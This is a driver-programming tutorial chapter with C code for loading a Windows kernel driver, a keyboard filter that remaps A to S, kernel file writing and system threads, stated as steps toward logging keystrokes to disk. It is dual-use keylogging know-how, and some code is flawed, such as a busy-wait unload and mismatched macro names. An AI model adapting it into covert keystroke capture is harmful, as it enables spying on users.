Writing a Keyboard Filter - Driver

 

P1

y.c

#include <stdio.h>

#include <windows.h>

#include <malloc.h>

#include <tlhelp32.h>

#include <stdio.h>

#define DRV_NAME "vijayd"

#define DRV_FILENAME "vijay.sys"

#define DIRECTORY "C:\\driverm"

typedef struct

{

  unsigned short  Length;

  unsigned short  MaximumLength;

char * Buffer;

} ANSI_STRING, *PANSI_STRING;

typedef struct

{

  unsigned short  Length;

  unsigned short  MaximumLength;

  unsigned short *Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

long (_stdcall * _RtlAnsiStringToUnicodeString)(PUNICODE_STRING  DestinationString,PANSI_STRING  SourceString,unsigned char);

VOID (_stdcall *_RtlInitAnsiString)(PANSI_STRING  DestinationString,char *  SourceString);

long (_stdcall * _ZwLoadDriver)(PUNICODE_STRING DriverServiceName);

long (_stdcall * _ZwUnloadDriver)(PUNICODE_STRING DriverServiceName);

ANSI_STRING aStr;

UNICODE_STRING uStr;

HMODULE hntdll;

unsigned long byteRet;

HANDLE hDevice;

HKEY hkey;

DWORD val,b;

char *imgName = "System32\\DRIVERS\\"DRV_FILENAME;

void main(int argc, char* argv[])

{

hntdll = GetModuleHandle("ntdll.dll");

_ZwLoadDriver = GetProcAddress(hntdll, "NtLoadDriver");

_ZwUnloadDriver = GetProcAddress(hntdll, "NtUnloadDriver");

_RtlAnsiStringToUnicodeString = GetProcAddress(hntdll, "RtlAnsiStringToUnicodeString");

_RtlInitAnsiString = GetProcAddress(hntdll, "RtlInitAnsiString");

if ( strcmp(argv[1],"-i") == 0)

{

CopyFile(DIRECTORY"\\"DRV_FILENAME,"C:\\winnt\\system32\\drivers\\"DRV_FILENAME,1);

RegCreateKey(HKEY_LOCAL_MACHINE,"System\\CurrentControlSet\\Services\\"DRV_NAME,&hkey);

val = 1;

RegSetValueEx(hkey, "Type", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

RegSetValueEx(hkey, "ErrorControl", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

val = 3;

RegSetValueEx(hkey, "Start", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

RegSetValueEx(hkey,"ImagePath",0,REG_EXPAND_SZ,(PBYTE)imgName,strlen(imgName));

_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);

_RtlAnsiStringToUnicodeString(&uStr, &aStr, TRUE);

val = _ZwLoadDriver(&uStr);

//hDevice = CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

//printf("Val=%d hDevice=%x",val,hDevice);

//DeviceIoControl(hDevice, 2 << 3 , argv[2], strlen(argv[2]), 0, 0, &b, 0);

}

if ( strcmp(argv[1],"-u") == 0)

{

_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);

_RtlAnsiStringToUnicodeString(&uStr, &aStr, TRUE);

_ZwUnloadDriver(&uStr);

DeleteFile("C:\\winnt\\system32\\drivers\\"DRV_FILENAME);

RegDeleteKey(HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\"DRV_NAME"\\Enum");

RegDeleteKey(HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\"DRV_NAME);

}

}

 

P2

r.c

#include <ntddk.h>

#include <ntddkbd.h>

PDEVICE_OBJECT pactualkeyboarddevice,pgenericdevice;

UNICODE_STRING uKeyboardDeviceName;int numPendingIrps;

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload numPendingIrps=%d",numPendingIrps);

IoDetachDevice (pactualkeyboarddevice);

while(numPendingIrps > 0)

;

IoDeleteDevice(pgenericdevice);

}

NTSTATUS abcReadOver (PDEVICE_OBJECT pDeviceObject,PIRP pIrp,PVOID Context)

{

PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

DbgPrint("abcReadOver ScanCode %d Flags=%x PendingReturned=%d Status=%d\n", keys[0].MakeCode,keys->Flags,pIrp->PendingReturned,pIrp->IoStatus.Status);

if ( keys->MakeCode == 30)

keys->MakeCode++;

IoMarkIrpPending (pIrp);

numPendingIrps --;

return pIrp->IoStatus.Status;

}

NTSTATUS abcRead(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)

{

long status;

IoCopyCurrentIrpStackLocationToNext (pIrp);

IoSetCompletionRoutine(pIrp, abcReadOver, 0, 1, 0,0);

numPendingIrps ++;

status = IoCallDriver(pactualkeyboarddevice ,pIrp);

DbgPrint("abcRead status=%d PendingReturned=%d",status,pIrp->PendingReturned);

return status;

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

DbgPrint("Vijay2");

d->MajorFunction[IRP_MJ_READ] = abcRead;

IoCreateDevice(d,0,0,FILE_DEVICE_KEYBOARD,0,1,&pgenericdevice);

pgenericdevice->Flags = pgenericdevice->Flags | DO_BUFFERED_IO;

RtlInitUnicodeString(&uKeyboardDeviceName,L"\\Device\\KeyboardClass0");

IoAttachDevice(pgenericdevice,&uKeyboardDeviceName,&pactualkeyboarddevice);

d->DriverUnload = Unload;

return 0;

}

 

abcRead status=259 PendingReturned=0

abcReadOver ScanCode 30 Flags=0 PendingReturned=1 Status=0

abcRead status=259 PendingReturned=0

abcReadOver ScanCode 30 Flags=1 PendingReturned=1 Status=0

abcRead status=259 PendingReturned=0

abcReadOver ScanCode 31 Flags=0 PendingReturned=1 Status=0

abcRead status=259 PendingReturned=0

abcReadOver ScanCode 31 Flags=1 PendingReturned=1 Status=0

 

abcRead status=259 PendingReturned=0 STATUS_PENDING=259

abcReadOver ScanCode 28 Flags=0 PendingReturned=1 Status=0

abcRead status=259 PendingReturned=0 STATUS_PENDING=259

Driver Unload numPendingIrps=1

abcReadOver ScanCode 28 Flags=1 PendingReturned=1 Status=0

 

The program y.c has no changes at all. Each time we start a new chapter we simply repeat the y.c program even though it has not changed since the last chapter. The program r.c is however totally different. Each time you press the A key from the keyboard in any application, the key s is shown instead. How this magic happens is what this chapter is all about.

 

Lets start with the DriverEntry program. We set the MajorFunction Read member to the function abcRead. For the nosy ones out there, the macro IRP_MJ_READ has a value of 3. Thus each time a read request is send to our driver, the function abcRead gets called. The read request in our case will be send when we press a key on the keyboard.

 

The IoCreateDevice function is always used to create a named device. In this case we specify null as our device name. The fourth parameter is the device type. This parameter tells the system on what type of device we would like to model our driver on.

 

Normally we specify either 0, FILE_DEVICE_UNKNOWN or a number that we create bearing in mind that  Microsoft has reserved the first 32767 numbers for themselves. The value of  the macro FILE_DEVICE_KEYBOARD is 0xb. The rest of the parameters are what they always have been and the last is the address of  the device object that just got created. We are modeling ourselves on a keyboard driver. 

 

The only field of the DEVICE_OBJECT structure we set is Flags. There are lots of options here. We only set one bit DO_BUFFERED_IO. This flag determines how the I/O manager deals with user buffers when it transfers data to the driver. The other value that can be used is non buffer or DO_DIRECT_IO which as the name suggests does not use any buffers at all. 

 

The driver we create is called a filter driver. We are sitting above the keyboard driver. Thus each time we press a key we get called first, then we pass the request on to the lower driver. This could be the actual keyboard driver or another filter driver. When the lowest level driver handles the request, it gets send up all the way and once again our driver code gets called.

 

Thus we get called twice, Once in the beginning, once on the way back up. We have to set the Flags field so that it contains the same Flags as the driver below us. We all have to share the same flags or else we get a Blue Screen of Death. It does not make sense for us to use Direct_IO and the lower level driver uses Buffering.

 

As the actual keyboard driver uses buffering, we use buffering also. Now we need to tell the system, to actually put us into the keyboard loop. Each time a key is pressed our code  in this case the function abcRead. We first create a UNICODE_STRING for the keyboard driver whose name is KeyboardClass0.

 

We then use the IoAttachDevice which attaches our device that we specify as the first parameter pgenericdevice, the driver object that we created. The second parameter is the name of the device to attach to the keyboard device. The last is a pointer to a DEVICE_OBJECT that this function will initialize. It is this pointer that represents the attachment to keyboard driver.

 

To create a filter driver we have to follow a two stage process. We first create a device and attach this device to the keyboard driver.

 

The attachment of our driver is at the top of all the existing drivers for the keyboard. Now each time we press a key on the keyboard the abcRead function gets called. We receive a Interrupt Request Packet or IRP which is the heart of passing stuff from one device driver to another.

 

This structure IRP is extremely large and we will study it in detail. The IRP that we get we need to pass it on to the next lower down driver. This is like a 4 x 100 meter race. Each runner has to pass the baton to the next.

 

Thus we use a function that has a very large name IoCopyCurrentIrpStackLocationToNext which copies the IRP passed to us to a area of memory which the driver below us will read when it is called after we finish. Thus in the abcRead function we first need to pass the IRP to the next driver.

 

When the abcRead function is called the IRP is being passed down the line. They could be 10 filter drivers between us and the final keyboard driver. Thus as of now the actual keyboard driver has not been called. After it gets called, the whole process will repeat and the IRP will now move up instead of down.

 

When the IRP is moving up, the system will need to call a function in us. This function name we specify using the function IoSetCompletionRoutine. The first parameter is the all important IRP, the second is the name of the function to be called, abcReadOver, the third is the address of any parameters that we want passed to the function.

 

The last three we will explain a little later. By calling this function, we know that when the abcReadOver function gets called the keyboard request has been handled by the keyboard driver and the filter drivers sitting above the keyboard driver are now being called.

 

We increase a variable numPendingIrps by 1 as the IRP has not yet got over, it fact it has only started. We now need to actually call the next driver in the chain and we do this be using the function IoCallDriver. We pass the actual keyboard device object and not the generic device object.

 

The IoCallDriver function returns STATUS_PENDING or 259 as the request is now being queued up for further processing. The IRP structure has a member PendingReturned which has a value 0 and not 1 as the IRP is not pending. This function either returns STATUS_PENDING if it is queued up for further processing or the Status  field of the lower driver.

 

The request is now passed down to the lowest driver, it then moves up the same path it followed on the way down. The minute the IRP reaches our driver it calls abcReadOver. The fact that this function gets called is tells us that we now have access to the key the user pressed. The system has finished extracting the key form the keyboard. How it does it is none of our concern.

 

All that we know is the IRP pointer has a union AssociatedIrp that has a void * Pointer SystemBuffer. The key that we pressed is stored here. We cast this void * pointer into a  KEYBOARD_INPUT_DATA that looks like.

 

typedef struct _KEYBOARD_INPUT_DATA {

    USHORT UnitId;

    USHORT MakeCode;

    USHORT Flags;

    USHORT Reserved;

    ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

 

We can use two forms to get at the member of this structure, either keys[0] or keys->. Theoretically SystemBuffer can be a pointer to an array of structures, one per key, we assume it points to only a single key structure. We print out the member MakeCode which give us the scan code of the key pressed. 

 

The scan code and the ascii code are two different kettles of fish. Each key on the keyboard is given a number depending upon its physical placement. Thus the key a is given a number 30, the key next to it s is given a number of 31, etc. The flags member tells us whether the key is pressed or release. 0 means key press, 1 means key left.

 

Thus our code gets called twice, once for a key press, once for a key release, The status member is 0 and the PendingReturned member is 1 as the IRP is yet pending, things are not over. If we do not call the function IoMarkIrpPending, then the final user program waiting for the keystroke will not receive it and the whole system will hang.

 

As the IRP is now getting over, the variable numPendingIrps will now be reduced by 1. Thus it will have a value of zero. Remember in function abcRead we increase it by 1, here we reduce it by one because from our perspective the IRP is over. Now we check if the scan code is 30 or a. We increase it by 1 to 31 or s.

 

Thus each time we press the key a, we see a s instead. Finally the key is placed in the SystemBuffer variable and if any filter driver changes it there, the final user space program will see this value. If the original key pressed was a, and a filter driver before us changed it to b, we would see a b and have no way of knowing what the original key was.

 

Finally at some point in time we will Unload our driver. We have a small problem as when we write y –u and press enter, our code will get called when the enter key is pressed. This enter key has a scan code of 28 and our functions get called twice, once for key press once for key release.

Thus when you look at the output, the key press for enter gets called, followed by DriverUnload. If we remove ourselves now from the list of keyboard filter drivers, the system will yet call us for the return key release. As we have unloaded ourselves, we will get a blue screen of death.

 

To confirm this the numPendingIrps has a value of 1. So we first Detach our device using function IoDetachDevice which is passed the actual device pointer pactualkeyboarddevice. Then we use a empty while loop until variable numPendingIrps becomes 0. Had we placed a DbgPrint statement in the while loop, it would go on about a 100 times.

 

Once we get out of the while loop, we no that all pending IRP’s are done and we can safely Delete the original device object created.

 

P3

NTSTATUS abcRead(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)

{

long status;

PIO_STACK_LOCATION curr = IoGetCurrentIrpStackLocation (pIrp);

PIO_STACK_LOCATION next = IoGetNextIrpStackLocation (pIrp);

*next = *curr;

IoSetCompletionRoutine(pIrp, abcReadOver, 0, 1, 0,0);

numPendingIrps++;

status = IoCallDriver(pactualkeyboarddevice ,pIrp);

DbgPrint("abcRead status=%d PendingReturned=%d STATUS_PENDING=%d",status,pIrp->PendingReturned,STATUS_PENDING );

return status;

}

 

In this program we display the value of STATUS_PENDING which is 259 and also do not use the long function name IoCopyCurrentIrpStackLocationToNext. What we instead do is use the familiar function IoGetCurrentIrpStackLocation to give us the IO_STACK_LOCATION pointer for the current Irp.

 

Each Irp has a stack location as one of its members and the function IoGetNextIrpStackLocation give us the stack location of the driver below us or the next driver. Thus curr is the stack data for us and next is the stack data for the driver below us or the one we will call.

 

We have to copy the data or structure that curr is pointing to, over the data that next is pointing to. If we call our lowed driver now, when he calls IoGetCurrentIrpStackLocation, he will get the same value that we got in next. When we say *next we are overwriting the structure that next is pointing to with data from the structure curr is pointing to.

 

This is how we send our IO_STACK_LOCATION structure to the next driver.

 

P4

r.c

NTSTATUS abcRead(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)

{

long status;

PIO_STACK_LOCATION curr = ( (pIrp)->Tail.Overlay.CurrentStackLocation );

PIO_STACK_LOCATION next = ( (pIrp)->Tail.Overlay.CurrentStackLocation - 1 );

*next = *curr;

{

PIO_STACK_LOCATION  _irpSp;

__irpSp = pIrp->Tail.Overlay.CurrentStackLocation - 1;

__irpSp-> CompletionRoutine = abcReadOver;

__irpSp->Context = 0;

__irpSp->Control = 0;

if (1) __irpSp->Control = 0x40;

if (0) __irpSp->Control |= 0x80;

if (0) __irpSp->Control |= 0x20;

}

numPendingIrps++;

status = IofCallDriver(pactualkeyboarddevice,pIrp);

DbgPrint("abcRead status=%d PendingReturned=%d STATUS_PENDING=%d",status,pIrp->PendingReturned,((NTSTATUS)0x00000103L) );

return status;

}

 

One of the things we forget to tell you is that most IO functions are macros. Thus we ran our b.bat file with the cl /P option. What we are showing you is the preprocessed output from r.i.

 

The macro IoGetCurrentIrpStackLocation simply returns the CurrentStackLocation member of type PIO_STACK_LOCATION. We have a big union Tail that has a structure Overlay that has the above member. This member actually points to a series of structures that look like IO_STACK_LOCATION.

 

If we subtract 1 from here we are actually subtracting sizeof IO_STACK_LOCATION. This location is  where the next driver will look for its stack. The IO_STACK_LOCATION structures for all the drivers are stored back to back.

 

The IoSetCompletionRoutine last three parameters need to be explained. If true or 1, they signify whether the function should be called on completion, error or cancel. By specifying true for the third last parameter only the function will be called only on completion not if the IRP got cancelled or a error happened.

 

This function is also a macro but breaks up into more code. Lets understand the code generated. A dummy variable __irpSp of type PIO_STACK_LOCATION get created first. We set it to the same CurrentStackLocation member of the next drivers stack and not the current drivers.

 

The IO_STACK_LOCATION member CompletionRoutine we set to the function that needs to be called. The parameter Context is set to zero as we have supplied no context to be passed to the completion function.

 

The Control member is set to 0 and depending upon which of the last three parameters we have set to 1, a certain bit in the Control flags is set to 1. If the OnCompletion parameter is set to 1, the Control bit is ored with 0x40. As the last two parameters are false, the if statements are false. If they were true, the Control member would be ored with 0x80 and 0x20.

 

Thus the set completion function simply tells the next driver which function is to be called, the context to be passed to it and also sets the flags bits. The driver to be called will look at its IO_STACK_LOCATION structure to figure out what to do.

 

P5

r.c

NTSTATUS abcRead(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)

{

long status;

{

PIO_STACK_LOCATION __irpSp;

PIO_STACK_LOCATION __nextIrpSp;

__irpSp = pIrp->Tail.Overlay.CurrentStackLocation;

__nextIrpSp = pIrp->Tail.Overlay.CurrentStackLocation - 1;

memcpy(__nextIrpSp,__irpSp,(LONG_PTR)&((IO_STACK_LOCATION *)0)->CompletionRoutine);

__nextIrpSp->Control = 0;

}

IoSetCompletionRoutine(pIrp, abcReadOver, 0, 1, 0,0);

numPendingIrps ++;

status = IofCallDriver(pactualkeyboarddevice,pIrp);

DbgPrint("abcRead status=%d PendingReturned=%d",status,pIrp->PendingReturned);

return status;

}

 

The macro IoCopyCurrentIrpStackLocationToNext is somewhat similar to what we had done before. We set two variables to the current stack and the stack of the next driver. Earlier we used pointers to set the stack of the next driver, here we use the function memcpy.

 

The first parameter is the destination , the second is the source and the third is the number of bytes to copy. We cannot have a pointer that has a value of 0 so all that the above does is give us the distance of the member CompletionRoutine from the start.

 

This has a value of 28 which is the number of bytes we copy. The actual size of the IO_STACK_INFORMATION structure is 36 bytes so for some reason the last 8 bytes do not get copied. This is the Context member which is the last and the CompletionRoutine which is the second last member.

 

pIrp->Tail.Overlay.CurrentStackLocation->Control |= 0x01 ;

 

When we call the function IoMarkIrpPending (pIrp) all that happens is that we set the first bit of the control flag to 1. Control is  member of the IO_STACK_LOCATION structure. We set this value in our stack so that the OS can see that it needs to pass this IRP to others.

 

P6

r.c

#include <ntddk.h>

HANDLE hFile;

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

ZwWriteFile(hFile,0,0,0,0,"sonal1234",3,0,0);

ZwClose(hFile);

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

OBJECT_ATTRIBUTES attr;

UNICODE_STRING uFileName;

DbgPrint("Vijay2");

RtlInitUnicodeString(&uFileName,L"\\DosDevices\\c:\\driverm\\z.txt");

InitializeObjectAttributes(&attr,&uFileName,OBJ_CASE_INSENSITIVE,0,0);

ZwCreateFile(&hFile,GENERIC_WRITE,&attr,0,0,0,0,0, FILE_SYNCHRONOUS_IO_NONALERT ,0,0);

ZwWriteFile(hFile,0,0,0,0,"Vijay",5,0,0);

d->DriverUnload = Unload;

return 0;

}

 

VijaySon

 

Now we will take a short break from writing a filter driver and move on to other things. These other things will later on be incorporated into writing the worlds most complete keyboard filter driver. One of the things our filter driver has to do is write the keys we press on a file on disk.

 

If this driver was a bad un, it would send our keystrokes to someone else. To do this it would have to write the keys on a file on disk and then periodically send them out. To write to a file we first need to create a File handle using the ZwCreateFile function.

 

This function takes a zillion parameters and most of them are null or zero so we will not explain them. At times we believe we would be able to write a encyclopedia on these options. The first parameter is a address of a file handle that will be initialized by the function that we will use later to identify the file created.

 

The second parameter is the type of access that the driver needs for the file or directory to be created. It is also called the ACCESS_MASK. When we use GENERIC_WRITE this is actually many right in one.

 

These are STANDARD_RIGHTS_WRITE, FILE_WRITE_DATA, FILE_WRITE_ATTRIBUTES, FILE_WRITE_EA, and FILE_APPEND_DATA. The other generic masks that we can use are GENERIC_READ and GENERIC_EXECUTE.

 

These are rights that the driver needs for the file, the system needs to know so that we do not create a security problem with system objects. We use the same function to create a directory also.

 

The third parameter we thought would be the name of the file to create. Unfortunately it is the address of a structure of type OBJECT_ATTRIBUTES. In the driver world everything is an object. We have to first create a UNICODE_STRING that represents the name of the file.

 

We end this string with the file name C:\\driversm\\z.txt. We have to preface this name with DosDevices. This is part of syntax. Some people have a aversion to DosDevices, these people can use ?? instead. Thus we could have also used the string \\??\\c:\\driverm\\z.txt.

 

This explains the ?? that we saw when we displayed the names of device drivers. We use the good old RtlInitUnicodeString to create a unicode string and then use the function or macro InitializeObjectAttributes to initialize the object structure. The first parameter is the address of this structure, the second is the Unicode string.

 

This macro initializes what the docs call a opaque structure OBJECT_ATTRIBUTES. The reason they call it opaque is because they do not document it. This structure is used as a name for all function that open handles like ZwCreateFile.  The third parameter is the flags parameter.

 

There will be a need to compare the unicode name that we have supplied with names of objects already existing. The flags option that we have used lets the system do a case insensitive comparison. The default system setting for comparisons is case sensitive. Thus the attr structure now stands for the name of our file which we will use instead of the file name.

 

The next parameter we specify is called the CreateOptions. The value FILE_SYNCHRONOUS_IO_NONALERT tells the system that all file operations like read and write should be performed in a synchronous way. Everybody wais until the file operation is done.

 

In a asynchronous operation, when the operation is done nobody knows but we are notified when it gets over.  Obviously people will have to wait for the file operations to be done, no alerts are generated due to this wait. The system maintains the file pointer or position context.

 

Finally we use the ZwWriteFile to write to this file. We specify the string or better still the area of memory. If it is string, we use ascii and not unicode.  Then we specify the length or the number of bytes to be written. In the DriverUnload function we again write to the file. If we do not close the file using ZwClose, we are not allowed to  read the file in ring 3. The system locks the file unless we reboot.

 

#include <ntddk.h>

HANDLE hFile;

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

ZwWriteFile(hFile,0,0,0,0,"sonal1234",5,0,0);

ZwClose(hFile);

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

OBJECT_ATTRIBUTES attr;

UNICODE_STRING uFileName;

DbgPrint("Vijay2");

RtlInitUnicodeString(&uFileName,L"\\??\\c:\\driverm\\z.txt");

attr.Length = sizeof( OBJECT_ATTRIBUTES );

(&attr)->RootDirectory = 0;

(&attr)->Attributes = 0x00000040L;

(&attr)->ObjectName = &uFileName;

(&attr)->SecurityDescriptor = 0;

(&attr)->SecurityQualityOfService = (void *)0;

ZwCreateFile(&hFile,GENERIC_WRITE,&attr,0,0,0,0,0,FILE_SYNCHRONOUS_IO_NONALERT,0,0);

ZwWriteFile(hFile,0,0,0,0,"Vijay",5,0,0);

d->DriverUnload = Unload;

return 0;

}

 

In the last example we spoke about the macro InitializeObjectAttributes. The above example breaks up the macro for us.  The structure OBJECT_ATTRIBUTES has 6 members, the function has 6 members.

 

All that it does is initializes the six members for us. The only difference is that it use the address of the structure to set the members, we prefer using the name. One function/macro that serves no useful purpose at all.

 

This is how we write to a file from our device driver. Someday we will explain all the other parameters also.

 

P7

r.c

#include <ntddk.h>

void abc(void *p)

{

DbgPrint("abc");

}

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

HANDLE hThread;

DbgPrint("Vijay2");

d->DriverUnload = Unload;

PsCreateSystemThread(&hThread,0,0,0,0,abc,0);

DbgPrint("After Thread");

return 0;

}

 

Vijay2

After Thread

abc

Driver Unload

 

We create a thread using the function PsCreateSystemThread. The first parameter is the handle to the thread which the function will initialize. We will use this handle to refer to our thread in future. The second last parameter is the function that will be called by our thread abc.

 

If you see the output, the system first executes all the code in DriverEntry  and then executes the code in the abc function. Windows gives time slices not to programs but to threads. Thus the more the threads we create the more attention or time we get.

 

P8

r.c

#include <ntddk.h>

#include <malloc.h>

void abc(void *p)

{

DbgPrint("abc %d %x",*(int *)p,p);

}

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

HANDLE hThread;

int *p;

d->DriverUnload = Unload;

p = (int *) ExAllocatePool (PagedPool,4);

*p = 21;

DbgPrint("Vijay2 %x",p);

PsCreateSystemThread(&hThread,0,0,0,0,abc,p);

return 0;

}

 

Vijay2 e303c188

abc 21 e303c188

Driver Unload

 

The next program passes a pointer or a context to our thread. We use the now familiar function ExAllocatePool to allocate memory for us. The first parameter pool type is not important, the second is the number of bytes of memory to allocate. We ask for space to store an int 4 bytes.

 

We set these bytes to 21. We then pass this variable p whose address happens to be  e303c188. This number is random and there is one chance in a billion that you will get this same value. The function abc that gets called by our thread is passed this same pointer.

 

When we display the int stored here we get the same value 21. This is how a thread can get passed a context. If the thread changes the memory it gets, we will also see the change.

 

p9

r.c

#include <ntddk.h>

#include <malloc.h>

void abc(void *p)

{

DbgPrint("abc %x %x",PsGetCurrentThreadId(),PsGetCurrentThread());

 

}

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

HANDLE hThread;

int i;

d->DriverUnload = Unload;

DbgPrint("Vijay2 %x %x",PsGetCurrentThreadId(),PsGetCurrentThread());

PsCreateSystemThread(&hThread,0,0,0,0,abc,0);

return 0;

}

 

Vijay2 38 8202d3a0

abc 114 81993760

Driver Unload

 

We use the function PsGetCurrentProcess extensively in the past. We now use the similar PsGetCurrentThread to give us a pointer to a ETHREAD structure. DriverEntry runs in its own thread and abc runs in a different thread. This is why PsGetCurrentThread returns a different value in the two functions.

 

P9a

r.c

#include <ntddk.h>

#include <malloc.h>

void abc(void *p)

{

DbgPrint("abc %x", PsGetCurrentThread ());

}

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

HANDLE hThread,ThreadObj;

PsCreateSystemThread(&hThread,0,0,0,0,abc,0);

ObReferenceObjectByHandle (hThread,THREAD_ALL_ACCESS,0,KernelMode,&ThreadObj,0);

DbgPrint("ThreadObj=%x",ThreadObj);

d->DriverUnload = Unload;

return 0;

}

 

ThreadObj=819d6da0 hThread=108

abc 819d6da0

Driver Unload

 

The above program creates a thread handle hThread whose value is 108.  The function PsGetCurrentThread in the abc function returns a value of 819d6da0. It is this value that we need to use whenever we are dealing with the thread. Thus we need a way to convert one handle to another.

 

The function ObReferenceObjectByHandle is just what the doctor ordered. We first specify the thread handle that we have and pass the address of a handle. This variable is filled up with the actual ETHREAD address 819d6da0.

 

Thus this function first validates access to the handle and then if we can get access returns a actual pointer by which we can access the body of the object which in the threads case is its ETHREAD structure.

 

The second parameter is the access we require, this will depend upon the type of handle we pass. The next is the object type which if the Access mode is kernel can be null. The access mode which is the next parameter can be user or kernel as always.

 

P10

r.c

#include <ntddk.h>

#include <malloc.h>

void abc(void *p)

{

int i;

for ( i = 0 ; i <= 10 ; i++)

DbgPrint("abc %d",i);

}

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

HANDLE hThread;

int i;

d->DriverUnload = Unload;

DbgPrint("Vijay2");

PsCreateSystemThread(&hThread,0,0,0,0,abc,0);

DbgPrint("After Thread");

return 0;

}

 

Vijay2

After Thread

abc 0

abc 10

Driver Unload

 

The above program demonstrates that even though the thread prints out abc 10 times, the system first finishes the DriverEntry and then executes the code of the thread. No matter how much code we place in the DriverEntry program, the system first executes all of it.

 

We went to the extent of placing a for loop that went on a 1000 times, the system first executed the DriverEntry and then the thread. Lets change this.

 

R11

r.c

#include <ntddk.h>

#include <malloc.h>

KSEMAPHORE sem;

void abc(void *p)

{

int i;

for ( i = 0 ; i <= 10 ; i++)

DbgPrint("abc %d",i);

KeReleaseSemaphore (&sem,0,1,FALSE);

}

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

HANDLE hThread;

int i;

d->DriverUnload = Unload;

DbgPrint("Vijay2 %d",MAXLONG);

KeInitializeSemaphore (&sem,0,MAXLONG);

PsCreateSystemThread(&hThread,0,0,0,0,abc,0);

DbgPrint("After Thread Before Wait");

KeWaitForSingleObject(&sem,Executive,KernelMode,0,0);

DbgPrint("After Thread After Wait");

return 0;

}

 

 

Vijay2 2147483647

After Thread Before Wait

abc 0

abc 10

After Thread After Wait

Driver Unload

 

If we look at the output first we will see that first the thread finishes and then the DriverEntry function. Lets explain how this happened. We start with a function KeInitializeSemaphore which initializes a object called a semaphore sem.  A KSEMAPHORE object is nothing but a structure with two members.

 

The second parameter is the initial value of the semaphore which is 0. Thus the semaphore is said to be in the non signaled state. We can assume in our minds that a semaphore is a global variable with a value. The last parameter is MAXLONG a hash define for the maximum value a long can take 0x7fffffff. This is the largest value the semaphore can have.

 

Thus we have created a variable sem that has a value of 0. The KeWaitForSingleObject is a function that lets us wait for some event to happen. While we are waiting, no machine cycles are being wasted. This waiting is not like waiting on a empty for loop where we are using machine resources.

 

The system puts the thread to sleep and when the event occurs, the thread is woken up and the next line after the Wait function gets called. The first parameter is what do we wait for. As we have specified our semaphore object, the system will wait until the semaphore value becomes 1 or more. Right now its value is zero.

 

The second parameter can take many values as it is an enum but we normally use one of two values, Executive or UserRequest. This parameter tells the system why are we waiting. A user may create a thread and we are doing word for that user, we set the value to UserRequest. 

 

Most of the time we will use Executive. The third parameter is the wait mode which can be UserMode or KernelMode. The other parameter we will do later. Thus we will wait for ever at this wait unless someone sets the semaphore to 1. Thus the last DbgPrint in DriverEntry does not get called.

 

In the abc function we first display something in a loop and at the end we use the function KeReleaseSemaphore to change the value of the semaphore sem. The third parameter is how much we increase the value of the semaphore by, in our case by 1.

 

The last parameter being false specifies that there is not Wait function following this function.

 

Thus as we have changed the value of the semaphore to 1, the Wait function moves on and the semaphore value becomes 0 again. Normally if it has a value 0, it is said to be in a non-signaled state, 1 means signaled.

 

We make a small change to our program as follows.

 

KeInitializeSemaphore(&sem,1,MAXLONG);

 

We change the second parameter to 1 thus making the initial value of the semaphore 1. Thus the WaitForSingleObject function does not wait at all as the semaphore is in a signaled state.

 

P12

r.c

#include <ntddk.h>

#include <malloc.h>

KSEMAPHORE sem;

void abc(void *p)

{

int i;

for ( i = 0 ; i <= 10 ; i++)

DbgPrint("abc %d",i);

KeReleaseSemaphore(&sem,0,1,FALSE);

}

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

HANDLE hThread;

int i;

LARGE_INTEGER j;

d->DriverUnload = Unload;

DbgPrint("Vijay2 %d",MAXLONG);

KeInitializeSemaphore(&sem,0,MAXLONG);

PsCreateSystemThread(&hThread,0,0,0,0,abc,0);

DbgPrint("After Thread Before Wait");

j.QuadPart = 50;

i = KeWaitForSingleObject(&sem,Executive,KernelMode,0,&j);

